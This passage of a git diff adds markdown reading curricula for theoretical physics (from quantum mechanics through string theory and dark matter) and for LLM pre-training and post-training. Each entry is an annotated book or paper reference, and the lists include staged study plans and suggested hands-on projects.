or Shankar. +- **Sakurai & Napolitano, *Modern Quantum Mechanics* (3rd ed.)** -- Graduate-level. Starts from Stern-Gerlach and builds up. Emphasis on Dirac notation, symmetries, angular momentum theory. Essential reading. +- **Weinberg, *Lectures on Quantum Mechanics* (2nd ed.)** -- Weinberg's perspective is always worth having. + +**Problem books:** +- **Irodov, *Problems in General Physics*** -- Famous for difficult problems spanning all of undergraduate physics. +- **Zettili, *Quantum Mechanics: Concepts and Applications*** -- Many worked examples. + +**Online:** +- MIT OCW 8.04/8.05/8.06 (Quantum Physics I/II/III). Allan Adams's 8.04 lectures are particularly good. +- Susskind, *Theoretical Minimum* lectures on Quantum Mechanics. +- Feynman Lectures, Volume III. + +### 2.2 Continuum Mechanics and Fluid Dynamics (L&L Track) + +- **Landau & Lifshitz, *Fluid Mechanics* (Course of Theoretical Physics, Vol. 6)** -- If you are following the L&L series, this comes after statistical physics. Not strictly necessary for your string theory / dark matter goals, but completes your understanding of classical physics and the L&L approach. +- **Landau & Lifshitz, *Theory of Elasticity* (Course of Theoretical Physics, Vol. 7)** -- Similarly, optional for your main path but part of the complete L&L education. + +### 2.3 Mathematical Methods (as needed) + +- **Arfken, Weber & Harris, *Mathematical Methods for Physicists*** -- Reference for special functions, Green's functions, complex analysis applications, tensor analysis. +- **Nakahara, *Geometry, Topology and Physics*** -- For differential geometry, fiber bundles, characteristic classes as used in gauge theory and string theory. +- **Frankel, *The Geometry of Physics*** -- Similar to Nakahara but with a different emphasis. + +--- + +## Phase 3: Advanced / Graduate + +### 3.1 General Relativity + +- **Carroll, *Spacetime and Geometry: An Introduction to General Relativity*** -- The best first GR textbook for someone headed toward research. Clear, modern, good treatment of differential geometry followed by Einstein's equations, Schwarzschild solution, cosmology. +- **Landau & Lifshitz, *The Classical Theory of Fields* (Vol. 2), second half** -- The GR treatment in L&L is compact and powerful. The derivation of the Einstein field equations from the action principle is classic L&L. Read this alongside or after Carroll. +- **Wald, *General Relativity*** -- The mathematically rigorous treatment. Precise about manifold structure, causal structure, singularity theorems. +- **Misner, Thorne & Wheeler, *Gravitation*** -- Encyclopedic, 1200+ pages, two parallel tracks. A reference more than a textbook. + +**Online:** +- Carroll's GR lecture notes (gr-qc/9712019 on arXiv) -- free, condensed version of his textbook. +- Susskind, *Theoretical Minimum* lectures on General Relativity. +- MIT OCW 8.962 (General Relativity). + +### 3.2 Particle Physics and the Standard Model + +- **Griffiths, *Introduction to Elementary Particles* (2nd ed.)** -- Accessible overview. Covers quarks, leptons, Feynman diagrams, gauge symmetries, Higgs mechanism. +- **Halzen & Martin, *Quarks and Leptons*** -- More quantitative. Good bridge to QFT. + +### 3.3 Quantum Field Theory + +This is the framework underlying the Standard Model, and QFT competence is a prerequisite for string theory. + +- **Peskin & Schroeder, *An Introduction to Quantum Field Theory*** -- The standard graduate text. Covers canonical quantization, Feynman diagrams, QED, renormalization, non-Abelian gauge theories, the Standard Model. +- **Schwartz, *Quantum Field Theory and the Standard Model*** -- More modern than Peskin & Schroeder, sometimes clearer. +- **Landau & Lifshitz, *Quantum Electrodynamics* (Course of Theoretical Physics, Vol. 4)** -- The L&L treatment of QED. Characteristically concise. The treatment of radiative corrections and renormalization is elegant. Read alongside or after Peskin & Schroeder for a different perspective. +- **Srednicki, *Quantum Field Theory*** -- Available free on Srednicki's website. Organized differently (spin-0, then spin-1/2, then spin-1). +- **Weinberg, *The Quantum Theory of Fields* (3 volumes)** -- The definitive treatment. Volume 1 (Foundations), Volume 2 (Modern Applications), Volume 3 (Supersymmetry). Not a first text but essential reference. Weinberg derives everything from symmetry principles. +- **Zee, *Quantum Field Theory in a Nutshell*** -- Focuses on physical intuition and the big picture. +- **Duncan, *The Conceptual Framework of Quantum Field Theory*** -- Focuses on foundational and conceptual issues. Good for a mathematician. + +**Online:** +- MIT OCW 8.323 (Relativistic Quantum Field Theory I/II/III). +- Tong, *Quantum Field Theory* lecture notes (DAMTP Cambridge, free). +- Susskind, *Theoretical Minimum* lectures on Particle Physics and QFT. + +### 3.4 Remaining L&L Volumes + +- **Landau & Lifshitz, *Statistical Physics, Part 2* (Course of Theoretical Physics, Vol. 9)** -- Covers condensed matter theory: superfluidity, superconductivity, Fermi liquid theory, phase transitions. Read after QFT basics are in place. +- **Landau & Lifshitz, *Physical Kinetics* (Course of Theoretical Physics, Vol. 10)** -- Transport phenomena, kinetic equations, plasma physics. The final volume. Read as interest dictates. + +Note: L&L Vol. 8 (*Electrodynamics of Continuous Media*) covers electromagnetic properties of matter -- dielectrics, magnetic media, superconductors, electromagnetic waves in media. Read when relevant to your interests. + +### 3.5 Cosmology + +- **Ryden, *Introduction to Cosmology*** -- Accessible undergraduate-level introduction. +- **Dodelson & Schmidt, *Modern Cosmology* (2nd ed.)** -- The standard graduate text. Covers the hot Big Bang, inflation, CMB anisotropies, large-scale structure, dark matter, dark energy. This is where you learn to read cosmology papers. +- **Weinberg, *Cosmology*** -- Weinberg's treatment. Thorough and rigorous. +- **Kolb & Turner, *The Early Universe*** -- Classic text on early universe physics: baryogenesis, nucleosynthesis, relic abundances (directly relevant to dark matter). +- **Mukhanov, *Physical Foundations of Cosmology*** -- Strong on inflation and perturbation theory. + +--- + +## Phase 4: Research Frontier + +### 4.1 String Theory / M-Theory + +- **Zwiebach, *A First Course in String Theory* (2nd ed.)** -- The place to start. Designed for advanced undergrads/beginning grads. Covers bosonic strings, superstrings, D-branes. Excellent problems. +- **Polchinski, *String Theory* (2 volumes)** -- The standard graduate text. Volume 1 covers bosonic strings, Volume 2 covers superstrings. Requires solid QFT. +- **Becker, Becker & Schwarz, *String Theory and M-Theory*** -- More modern, covers M-theory, dualities, flux compactifications. +- **Green, Schwarz & Witten, *Superstring Theory* (2 volumes)** -- The original comprehensive text. Historical importance. + +**Online:** +- Tong, *String Theory* lecture notes (DAMTP Cambridge, free). +- MIT OCW 8.821 (String Theory and Holographic Duality). + +### 4.2 Dark Matter: Entry Points into the Literature + +Once you have GR, particle physics, and cosmology, you can start reading dark matter literature directly. + +- **Bertone, Hooper & Silk, "Particle Dark Matter: Evidence, Candidates and Constraints" (Physics Reports 405, 2005)** -- The standard review. arXiv: hep-ph/0404175. +- **Jungman, Kamionkowski & Griest, "Supersymmetric Dark Matter" (Physics Reports 267, 1996)** -- Classic review of SUSY dark matter candidates. +- **Feng, "Dark Matter Candidates from Particle Physics and Methods of Detection" (ARAA 48, 2010)** -- More concise and modern overview. +- **Planck Collaboration results papers** -- The CMB measurements that constrain dark matter density and cosmological parameters. +- **Particle Data Group reviews** -- The PDG "Dark Matter" review (updated annually at pdg.lbl.gov). + +### 4.3 String Theory: Entry Points into the Literature + +- **Aharony, Gubser, Maldacena, Ooguri & Oz, "Large N Field Theories, String Theory and Gravity" (Physics Reports 323, 2000)** -- The standard review of AdS/CFT. +- **Tong, "String Theory" (2009)** -- Lecture notes that double as a readable review. + +--- + +## The Landau & Lifshitz Roadmap + +For reference, the complete *Course of Theoretical Physics* and where each volume fits: + +| Vol. | Title | When to Read | +|------|-------|-------------| +| 1 | Mechanics | After Taylor (Phase 1) | +| 2 | The Classical Theory of Fields | After Griffiths E&M (Phase 1-2), revisit GR half in Phase 3 | +| 3 | Quantum Mechanics: Non-Relativistic Theory | After Griffiths/Shankar QM (Phase 2) | +| 4 | Quantum Electrodynamics | Alongside Peskin & Schroeder (Phase 3) | +| 5 | Statistical Physics, Part 1 | After Schroeder (Phase 1-2) | +| 6 | Fluid Mechanics | Optional, after Vol. 5 | +| 7 | Theory of Elasticity | Optional, after Vol. 6 | +| 8 | Electrodynamics of Continuous Media | When relevant to interests | +| 9 | Statistical Physics, Part 2 | After QFT basics (Phase 3) | +| 10 | Physical Kinetics | As interest dictates | + +The L&L series is not designed to be read cold. Each volume assumes you have seen the material before in a more pedagogical text. The value of L&L is the unified perspective, the elegance of derivation, and the depth of physical insight compressed into minimal space. Read the introductory text first, then L&L for the definitive treatment. + +--- + +## Recommended Progression + +**Year 1: Build the foundation.** +1. Susskind, *Theoretical Minimum* (book) alongside Taylor, *Classical Mechanics*. Then L&L Vol. 1. +2. Griffiths, *Introduction to Electrodynamics*. Then L&L Vol. 2 (first half: SR and E&M). +3. Schroeder, *Thermal Physics*. Then L&L Vol. 5. +4. Taylor & Wheeler, *Spacetime Physics* for SR. + +**Year 2: Quantum mechanics and GR.** +5. Shankar or Griffiths QM, then Sakurai. Then L&L Vol. 3. +6. Carroll, *Spacetime and Geometry* for GR. Then L&L Vol. 2 (second half: GR). +7. Griffiths, *Introduction to Elementary Particles*. + +**Year 3: QFT, cosmology, and specialization.** +8. Peskin & Schroeder (or Schwartz) for QFT. L&L Vol. 4 alongside. +9. Dodelson & Schmidt, *Modern Cosmology*. +10. Zwiebach, *A First Course in String Theory*. +11. Start reading review articles in your area of interest. + +--- + +## Free Online Resources Summary + +| Resource | URL | Coverage | +|----------|-----|----------| +| Feynman Lectures on Physics | feynmanlectures.caltech.edu | All of undergraduate physics | +| MIT OpenCourseWare Physics | ocw.mit.edu/courses/physics | Full course materials, 8.01 through 8.962 | +| Susskind Theoretical Minimum | theoreticalminimum.com | Classical mechanics through QFT and cosmology | +| Tong Lecture Notes | damtp.cam.ac.uk/user/tong | QFT, string theory, GR, statistical mechanics | +| Srednicki QFT | web.physics.ucsb.edu/~mark/qft.html | Complete QFT textbook | +| Carroll GR Notes | arXiv: gr-qc/9712019 | General relativity | +| 3Blue1Brown | youtube.com/3blue1brown | Mathematical intuition | + +--- + +## A Note on Problem-Solving + +Reading physics is not learning physics. You must do problems. For each subject: + +1. Work through the textbook problems (at minimum the odd-numbered ones). +2. For classical mechanics and E&M, supplement with Irodov for challenge problems. +3. For quantum mechanics, Zettili has extensive worked examples. +4. For QFT, the Peskin & Schroeder problems are essential. + +Physics is learned with pencil and paper. A math student already knows this from proofs and problem sets. The same discipline applies here. diff --git a/doc/knowledge/post-training.md b/doc/knowledge/post-training.md new file mode 100644 index 0000000000000000000000000000000000000000..2b5cf72d5555d32e0956f5b8440a376ce0cfd528 --- /dev/null +++ b/doc/knowledge/post-training.md @@ -0,0 +1,242 @@ +# LLM Post-Training: A Comprehensive Reading List + +A structured curriculum covering everything that happens after pre-training: supervised fine-tuning, alignment, reinforcement learning from human feedback, preference optimization, parameter-efficient methods, quantization, evaluation, and safety. + +--- + +## Phase 0: Prerequisites + +Before diving into post-training, you need solid grounding in transformers and how language models work at inference time. + +- **Vaswani et al., "Attention Is All You Need" (2017)** -- The transformer architecture paper. You need to understand self-attention, positional encoding, and encoder-decoder structure before anything else makes sense. + +- **Radford et al., "Language Models are Unsupervised Multitask Learners" (GPT-2, 2019)** -- Establishes the decoder-only paradigm. Post-training is what turns these into useful tools. + +- **Andrej Karpathy, "Let's build GPT from scratch" (video, 2023)** -- Best single resource for building intuition about how autoregressive language models actually work at the code level. + +- **Sutton & Barto, "Reinforcement Learning: An Introduction" -- Chapters 1-3, 13** -- You need basic RL vocabulary (policy, reward, value function, policy gradient) before RLHF will make sense. + +- **Schulman et al., "Proximal Policy Optimization Algorithms" (2017)** -- PPO is the workhorse algorithm behind RLHF. Read this before the InstructGPT paper. + +--- + +## Phase 1: Foundations of Post-Training + +### 1.1 Supervised Fine-Tuning (SFT) + +SFT is the simplest form of post-training: take a pre-trained model, give it (input, output) pairs of desired behavior, train with standard cross-entropy loss. + +- **Howard & Ruder, "Universal Language Model Fine-tuning for Text Classification" (ULMFiT, 2018)** -- Introduced discriminative fine-tuning, slanted triangular learning rates, and gradual unfreezing. The conceptual ancestor of modern SFT practices. + +- **Hugging Face Transformers documentation on fine-tuning** -- Practical starting point. Walk through actually fine-tuning a model before reading more theory. + +### 1.2 Instruction Tuning + +The insight that fine-tuning on instructions produces models that generalize to new instructions they have never seen. + +- **Wei et al., "Finetuned Language Models Are Zero-Shot Learners" (FLAN, 2022)** -- Fine-tune on many tasks phrased as instructions, and the model learns to follow novel instructions. Conceptual foundation for all instruction-following models. + +- **Chung et al., "Scaling Instruction-Finetuned Language Models" (Flan-T5/PaLM, 2022)** -- Follow-up showing that scaling both the number of tasks and model size improves instruction following. + +- **Sanh et al., "Multitask Prompted Training Enables Zero-Shot Task Generalization" (T0, 2022)** -- Parallel work from BigScience showing the same instruction tuning insight. + +- **Taori et al., "Stanford Alpaca: An Instruction-Following LLaMA Model" (2023)** -- Demonstrated that you can distill instruction-following behavior from GPT-3.5 into LLaMA 7B with only 52K examples. + +- **Longpre et al., "The Flan Collection: Designing Data and Methods for Effective Instruction Tuning" (2023)** -- Deep dive into what makes instruction tuning data effective. + +### 1.3 The InstructGPT / RLHF Pipeline + +This is the core of modern alignment. Read these in order. + +- **Christiano et al., "Deep Reinforcement Learning from Human Preferences" (2017)** -- The original RLHF paper, applied to Atari and MuJoCo. Establishes the framework: learn a reward model from human comparisons, then optimize a policy against it. + +- **Stiennon et al., "Learning to Summarize from Human Feedback" (2020)** -- First application of RLHF to language models. Introduces the three-phase pipeline that InstructGPT would later scale. + +- **Ouyang et al., "Training language models to follow instructions with human feedback" (InstructGPT, 2022)** -- The paper behind ChatGPT's training methodology. Describes the full pipeline: SFT on demonstrations, reward model from comparisons, PPO against the reward model with a KL penalty. The single most important paper on this list. + +- **Ziegler et al., "Fine-Tuning Language Models from Human Preferences" (2019)** -- Earlier work applying reward learning to stylistic text generation. + +### 1.4 Understanding Reward Modeling + +- **Askell et al., "A General Language Assistant as a Laboratory for Alignment" (2021)** -- Anthropic's early work. Introduces the HHH framework and discusses reward model design choices. + +- **Gao et al., "Scaling Laws for Reward Model Overoptimization" (2023)** -- Critical paper. Shows that as you optimize harder against a reward model, performance on the true objective eventually degrades. You cannot do RLHF well without understanding this. + +--- + +## Phase 2: Modern Alignment Methods + +### 2.1 Direct Preference Optimization (DPO) and Variants + +DPO eliminates the reward model and PPO entirely, training directly on preference pairs. + +- **Rafailov et al., "Direct Preference Optimization: Your Language Model Is Secretly a Reward Model" (DPO, 2023)** -- The key insight: the optimal RLHF policy has a closed-form relationship to the reward function, so you can skip reward modeling and PPO entirely. Elegant and practically important. + +- **Azar et al., "A General Theoretical Paradigm to Understand Learning from Human Feedback" (IPO, 2023)** -- Identifies a subtle flaw in DPO's derivation. Proposes Identity Preference Optimization as a fix. + +- **Ethayarajh et al., "KTO: Model Alignment as Prospect Theoretic Optimization" (2024)** -- Works with binary feedback (good/bad) instead of pairwise comparisons. + +- **Hong et al., "ORPO: Monolithic Preference Optimization without Reference Model" (2024)** -- Combines SFT and preference optimization into a single training phase. + +- **Tunstall et al., "Zephyr: Direct Distillation of LM Alignment" (2023)** -- Practical application of DPO to distill alignment from a large model into Mistral-7B. + +### 2.2 Constitutional AI and RLAIF + +- **Bai et al., "Constitutional AI: Harmlessness from AI Feedback" (2022)** -- Anthropic's approach. The model critiques and revises its own outputs according to a set of principles. Introduces RLAIF. + +- **Lee et al., "RLAIF: Scaling Reinforcement Learning from Human Feedback with AI Feedback" (2023)** -- AI-generated preference labels can match or approach human-generated labels. + +- **Bai et al., "Training a Helpful and Harmless Assistant with Reinforcement Learning from Human Feedback" (2022)** -- Detailed analysis of the tension between helpfulness and harmlessness. + +### 2.3 Reasoning via Reinforcement Learning + +- **DeepSeek-AI, "DeepSeek-R1: Incentivizing Reasoning Capability in LLMs via Reinforcement Learning" (2025)** -- Landmark paper demonstrating that pure RL can elicit sophisticated reasoning behavior. The model develops its own reasoning patterns through GRPO. Essential reading. + +- **DeepSeek-AI, "DeepSeek-R1-Zero"** -- The zero-shot RL variant. Shows emergent chain-of-thought without any supervised reasoning examples. + +- **Shao et al., "DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models" (2024)** -- Introduces GRPO (Group Relative Policy Optimization), the algorithm later used in DeepSeek-R1. + +--- + +## Phase 3: Parameter-Efficient Methods and Practical Techniques + +### 3.1 LoRA and Adapters + +- **Hu et al., "LoRA: Low-Rank Adaptation of Large Language Models" (2021)** -- The dominant parameter-efficient fine-tuning method. Decomposes weight updates into low-rank matrices. You will use this constantly. + +- **Dettmers et al., "QLoRA: Efficient Finetuning of Quantized Language Models" (2023)** -- Combines 4-bit quantization with LoRA adapters. Makes fine-tuning 65B parameter models possible on a single 48GB GPU. + +- **Houlsby et al., "Parameter-Efficient Transfer Learning for NLP" (2019)** -- The original adapter paper. LoRA largely superseded this approach. + +- **Liu et al., "DoRA: Weight-Decomposed Low-Rank Adaptation" (2024)** -- Decomposes weights into magnitude and direction, applying LoRA only to the direction component. + +### 3.2 Quantization + +- **Frantar et al., "GPTQ: Accurate Post-Training Quantization for Generative Pre-Trained Transformers" (2022)** -- One-shot weight quantization to 3-4 bits. The standard for GPU-based quantized inference. + +- **Lin et al., "AWQ: Activation-aware Weight Quantization for LLM Compression and Acceleration" (2023)** -- Quantizes weights based on importance to activations. + +- **llama.cpp and GGUF format** -- The practical standard for CPU-based quantized inference. + +- **Dettmers et al., "LLM.int8(): 8-bit Matrix Multiplication for Transformers at Scale" (2022)** -- Introduced mixed-precision decomposition for outlier features. + +### 3.3 Knowledge Distillation + +- **Hinton et al., "Distilling the Knowledge in a Neural Network" (2015)** -- The foundational distillation paper. Train the student on soft labels from the teacher. + +- **Gu et al., "MiniLLM: Knowledge Distillation of Large Language Models" (2024)** -- Addresses the specific challenges of distilling autoregressive language models. + +- **The DeepSeek-R1 distillation results** -- Distillation of reasoning capability from R1 into Qwen and LLaMA base models. + +### 3.4 Model Merging + +- **Wortsman et al., "Model Soups: Averaging Weights of Multiple Fine-tuned Models Improves Accuracy without Increasing Inference Time" (2022)** -- Averaging weights of models fine-tuned with different hyperparameters. + +- **Yadav et al., "TIES-Merging: Resolving Interference When Merging Models" (2023)** -- Addresses sign conflicts when merging task vectors. + +- **Goddard et al., "Arcee's MergeKit" (2024)** -- The standard open-source tool for model merging. + +--- + +## Phase 4: Advanced Topics + +### 4.1 Safety Training and Red-Teaming + +- **Perez et al., "Red Teaming Language Models with Language Models" (2022)** -- Using LLMs to automatically generate adversarial prompts. + +- **Ganguli et al., "Red Teaming Language Models to Reduce Harms" (2022)** -- Anthropic's systematic study of manual red-teaming. + +- **Zou et al., "Universal and Transferable Adversarial Attacks on Aligned Language Models" (GCG, 2023)** -- Gradient-based adversarial suffix attacks that break alignment. + +- **Wei et al., "Jailbroken: How Does LLM Safety Training Fail?" (2023)** -- Taxonomizes jailbreak techniques. Two fundamental failure modes: competing objectives and mismatched generalization. + +### 4.2 Evaluation of Post-Trained Models + +- **Zheng et al., "Judging LLM-as-a-Judge with MT-Bench and Chatbot Arena" (2023)** -- MT-Bench and the Elo-rated Chatbot Arena. + +- **Li et al., "AlpacaEval: An Automatic Evaluator for Instruction-Following Models" (2023)** -- Automated evaluation using GPT-4 as judge. + +- **Liang et al., "Holistic Evaluation of Language Models" (HELM, 2022)** -- Stanford's comprehensive evaluation framework. + +- **Hendrycks et al., "Measuring Massive Multitask Language Understanding" (MMLU, 2020)** -- 57-subject multiple choice benchmark. + +### 4.3 Data Curation for Post-Training + +- **Zhou et al., "LIMA: Less Is More for Alignment" (2023)** -- Fine-tuning on just 1,000 carefully curated examples produces a strong instruction-following model. Argues alignment is mostly about surfacing pre-trained knowledge. + +- **Touvron et al., "Llama 2: Open Foundation and Fine-Tuned Chat Models" (2023)** -- Meta's detailed post-training pipeline. Sections 3-4 on SFT and RLHF data collection are among the most detailed public descriptions. + +- **Ivison et al., "Camels in a Changing Climate: Enhancing LM Adaptation with Tulu 2" (2023)** -- Systematic study of data mixing for instruction tuning. + +### 4.4 Scaling and Iterative Post-Training + +- **Dubey et al., "The Llama 3 Herd of Models" (2024)** -- Meta's most detailed post-training description to date. The current best public reference for industrial-scale post-training. + +### 4.5 Online/Iterative RLHF and Beyond PPO + +- **Gulcehre et al., "Reinforced Self-Training (ReST) for Language Modeling" (2023)** -- Alternates between sampling and training on filtered high-reward samples. + +- **Yuan et al., "Self-Rewarding Language Models" (2024)** -- The model acts as its own reward model, creating a self-improving loop. + +- **Xiong et al., "Iterative Preference Learning from Human Feedback" (2024)** -- Theoretical analysis of why online/iterative DPO outperforms offline DPO. + +--- + +## Phase 5: Practical Tools and Implementation + +### 5.1 Frameworks + +- **Hugging Face TRL (Transformer Reinforcement Learning)** -- The standard library for SFT, reward modeling, DPO, PPO, and KTO. + - github.com/huggingface/trl + +- **OpenRLHF** -- Full RLHF pipeline with Ray-based distributed training. Better than TRL for large-scale PPO training. Supports GRPO. + - github.com/OpenRLHF/OpenRLHF + +- **Axolotl** -- Config-driven fine-tuning framework. Supports LoRA/QLoRA/full fine-tuning. The easiest path from zero to a fine-tuned model. + - github.com/axolotl-ai-cloud/axolotl + +- **LLaMA-Factory** -- Config-driven fine-tuning framework with a web UI. Supports SFT, RLHF, DPO, and various PEFT methods. + - github.com/hiyouga/LLaMA-Factory + +### 5.2 Datasets + +- **Open Assistant Conversations (OASST)** -- Human-generated conversation trees with rankings. +- **Anthropic HH-RLHF** -- Human preference data for helpfulness and harmlessness. +- **UltraFeedback** -- Large-scale AI feedback dataset with GPT-4 annotations. + +### 5.3 Suggested Practical Projects (in order of difficulty) + +1. Fine-tune a 7B model on a small instruction dataset using Axolotl with QLoRA. Evaluate on MT-Bench. +2. Train a DPO model using TRL on the Anthropic HH-RLHF dataset. Compare against the SFT-only baseline. +3. Train a reward model and run PPO using TRL or OpenRLHF. Observe reward hacking firsthand. +4. Reproduce a simplified version of the DeepSeek-R1 approach: apply GRPO to a math reasoning task using OpenRLHF. +5. Merge two LoRA fine-tunes with MergeKit and evaluate whether the merged model retains capabilities from both. + +--- + +## Recommended Reading Order + +For someone starting from scratch: + +1. Karpathy's GPT video (build intuition) +2. PPO paper (learn the RL algorithm) +3. Stiennon et al. 2020 (RLHF applied to summarization) +4. Ouyang et al. 2022 (InstructGPT -- the full RLHF pipeline) +5. Wei et al. 2022 (FLAN -- instruction tuning) +6. Rafailov et al. 2023 (DPO -- the modern alternative to PPO) +7. Bai et al. 2022 (Constitutional AI) +8. Hu et al. 2021 (LoRA) +9. Dettmers et al. 2023 (QLoRA) +10. Zhou et al. 2023 (LIMA -- data quality matters) +11. Touvron et al. 2023 (Llama 2 -- industrial post-training) +12. DeepSeek-R1 2025 (reasoning via RL) +13. Gao et al. 2023 (reward model overoptimization -- understanding failure modes) +14. Hands-on: Axolotl QLoRA fine-tune, then TRL DPO training + +--- + +## Key Surveys + +- **Wang et al., "Aligning Large Language Models with Human: A Survey" (2023)** -- Comprehensive survey of alignment methods. +- **Shen et al., "Large Language Model Alignment: A Survey" (2023)** -- Thorough coverage of the RLHF/DPO landscape. +- **Sebastian Raschka, "LLM Fine-Tuning and RLHF" (blog posts and newsletter)** -- Consistently clear explanations of new post-training techniques. diff --git a/doc/knowledge/pre-training.md b/doc/knowledge/pre-training.md new file mode 100644 index 0000000000000000000000000000000000000000..788b4d1102e09bb079c7b9547d6b9454dc3bb341 --- /dev/null +++ b/doc/knowledge/pre-training.md @@ -0,0 +1,217 @@ +# LLM Pre-Training: A Reading Curriculum + +A structured reading list for going from zero to research-level understanding of large language model pre-training. Each phase builds on the last. + +--- + +## Phase 0: Prerequisites + +Before touching pre-training literature, you need working fluency in a few areas. If you already have these, skip ahead. + +**Linear Algebra and Calculus** +- Gilbert Strang, *Introduction to Linear Algebra* (chapters 1-7) -- matrix operations, eigenvalues, SVD. You will not understand attention without this. +- 3Blue1Brown, *Essence of Linear Algebra* (YouTube series) -- geometric intuition for the above. + +**Probability and Information Theory** +- Chapter 3 of Goodfellow, Bengio, Courville, *Deep Learning* (freely available at deeplearningbook.org) -- entropy, cross-entropy, KL divergence. These are the loss functions you will be staring at. + +**Deep Learning Fundamentals** +- Andrej Karpathy, *Neural Networks: Zero to Hero* (YouTube playlist, 2022-2023) -- builds neural nets from scratch in Python. The single best on-ramp. Watch all of them. +- Goodfellow et al., *Deep Learning*, chapters 6-8 -- feedforward networks, regularization, optimization. Reference as needed. + +**PyTorch** +- Official PyTorch tutorials (pytorch.org/tutorials) -- tensor operations, autograd, nn.Module. You need to be comfortable reading and writing model code. + +--- + +## Phase 1: Foundations + +The goal here is to understand the transformer architecture, the basic training loop, and the key ideas that make modern pre-training work. + +### 1.1 The Transformer + +- **Vaswani et al., "Attention Is All You Need" (2017)** -- the paper that started everything. Read it carefully. Understand multi-head attention, positional encoding, encoder-decoder structure. +- **Jay Alammar, "The Illustrated Transformer" (blog post, 2018)** -- visual walkthrough of the above paper. Read this alongside or immediately after. +- **Andrej Karpathy, "Let's build GPT: from scratch, in code, spelled out" (YouTube, 2023)** -- builds a small GPT from scratch. Type along. + +### 1.2 Language Modeling Objectives + +- **Radford et al., "Improving Language Understanding by Generative Pre-Training" (GPT-1, 2018)** -- introduces the idea of pre-training a causal language model then fine-tuning. +- **Devlin et al., "BERT: Pre-training of Deep Bidirectional Transformers" (2018)** -- masked language modeling (MLM) and next sentence prediction. Understand why bidirectional context matters and what trade-offs it introduces. +- **Raffel et al., "Exploring the Limits of Transfer Learning with a Unified Text-to-Text Transformer" (T5, 2019)** -- systematic comparison of pre-training objectives. Section 3 is a goldmine for understanding design choices. +- **Lewis et al., "BART: Denoising Sequence-to-Sequence Pre-training" (2019)** -- denoising autoencoder approach to pre-training. + +### 1.3 Tokenization + +- **Sennrich, Haddow, Birch, "Neural Machine Translation of Rare Words with Subword Units" (2016)** -- introduces Byte Pair Encoding (BPE) for NLP. +- **Kudo and Richardson, "SentencePiece: A simple and language independent subword tokenizer" (2018)** -- unigram language model tokenization and the SentencePiece library. +- **Kudo, "Subword Regularization: Improving Neural Network Translation Models with Multiple Subword Candidates" (2018)** -- why tokenization is not deterministic and why that can help. +- **Hugging Face Tokenizers documentation** -- practical reference for BPE, WordPiece, Unigram, and Byte-level BPE. + +### 1.4 First Hands-On + +- **Karpathy, nanoGPT (github.com/karpathy/nanoGPT)** -- minimal GPT training code. Read it end to end. Train a small model on Shakespeare or OpenWebText. This is not optional. +- **Karpathy, minbpe (github.com/karpathy/minbpe)** -- minimal BPE tokenizer implementation. Read alongside the BPE paper. + +--- + +## Phase 2: Intermediate + +Now you understand the basic loop: collect data, tokenize, define architecture, define objective, train. This phase is about understanding the engineering and scientific decisions that separate a toy model from a real one. + +### 2.1 Scaling and Landmark Models + +- **Radford et al., "Language Models are Unsupervised Multitask Learners" (GPT-2, 2019)** -- demonstrates that scale improves zero-shot performance. Introduces WebText dataset curation. +- **Brown et al., "Language Models are Few-Shot Learners" (GPT-3, 2020)** -- 175B parameters, in-context learning, few-shot prompting. Sections 2 (approach), 6 (broader impacts), and Appendix B (data) are essential. +- **Kaplan et al., "Scaling Laws for Neural Language Models" (2020)** -- empirical power laws relating compute, data, and parameters to loss. Read it thoroughly. +- **Hoffmann et al., "Training Compute-Optimal Large Language Models" (Chinchilla, 2022)** -- overturns the Kaplan scaling laws. The "Chinchilla-optimal" ratio changed how everyone budgets training. Critical paper. + +### 2.2 Architecture Decisions + +- **Su et al., "RoFormer: Enhanced Transformer with Rotary Position Embedding" (2021)** -- Rotary Position Embedding (RoPE). Used by LLaMA, Mistral, and most modern open models. +- **Press, Smith, Lewis, "Train Short, Test Long: Attention with Linear Biases Enables Input Length Extrapolation" (ALiBi, 2021)** -- alternative to learned or sinusoidal position embeddings. Used by BLOOM and MPT. +- **Shazeer, "GLU Variants Improve Transformer" (2020)** -- SwiGLU and other gated linear units for the FFN layer. SwiGLU is now standard in LLaMA-family models. +- **Zhang and Sennrich, "Root Mean Square Layer Normalization" (RMSNorm, 2019)** -- simpler alternative to LayerNorm. Used by LLaMA and successors. +- **Shazeer, "Fast Transformer Decoding: One Write-Head is All You Need" (2019)** -- multi-query attention (MQA). Reduces KV cache memory at inference time. +- **Ainslie et al., "GQA: Training Generalized Multi-Query Transformer Models from Multi-Head Checkpoints" (2023)** -- grouped-query attention, the middle ground between MHA and MQA. + +### 2.3 Optimization + +- **Kingma and Ba, "Adam: A Method for Stochastic Optimization" (2014)** -- the Adam optimizer. Understand the first and second moment estimates. +- **Loshchilov and Hutter, "Decoupled Weight Decay Regularization" (AdamW, 2017)** -- fixes weight decay in Adam. This is what modern training actually uses. +- **Loshchilov and Hutter, "SGDR: Stochastic Gradient Descent with Warm Restarts" (2016)** -- cosine annealing learning rate schedule. Standard in pre-training. +- **Micikevicius et al., "Mixed Precision Training" (2017)** -- training in FP16 with loss scaling. Essential for fitting large models in GPU memory. +- **You et al., "Large Batch Optimization for Deep Learning: Training BERT in 76 Minutes" (LAMB, 2019)** -- layer-wise adaptive learning rates for large-batch training. + +### 2.4 Pre-Training Data + +- **Gao et al., "The Pile: An 800GB Dataset of Diverse Text for Language Modeling" (2020)** -- Eleuther AI's curated pre-training dataset. Read for the philosophy of data mixing. +- **Penedo et al., "The RefinedWeb Dataset for Falcon LLM" (2023)** -- demonstrates that heavily filtered web data alone can match curated multi-source datasets. +- **Together AI, "RedPajama: An Open Dataset for Training Large Language Models" (2023)** -- open reproduction of the LLaMA training data. +- **Penedo et al., "The FineWeb Datasets: Decanting the Web for the Finest Text Data at Scale" (2024)** -- HuggingFace's large-scale filtered web dataset. State of the art in open data curation. +- **Lee et al., "Deduplicating Training Data Makes Language Models Better" (2021)** -- near-duplicate detection at scale. Deduplication meaningfully improves model quality. +- **Wenzek et al., "CCNet: Extracting High Quality Monolingual Datasets from Web Crawl Data" (2019)** -- perplexity-based filtering of Common Crawl. + +### 2.5 Key Open Model Papers + +These papers are valuable because they disclose training details that closed labs do not. + +- **Touvron et al., "LLaMA: Open and Efficient Foundation Language Models" (2023)** -- training recipe, architecture choices (RoPE, SwiGLU, RMSNorm, no bias), data mixture. Read sections 2-3 carefully. +- **Touvron et al., "Llama 2: Open Foundation and Fine-Tuned Chat Models" (2023)** -- 7B to 70B, grouped-query attention at 70B, longer context. 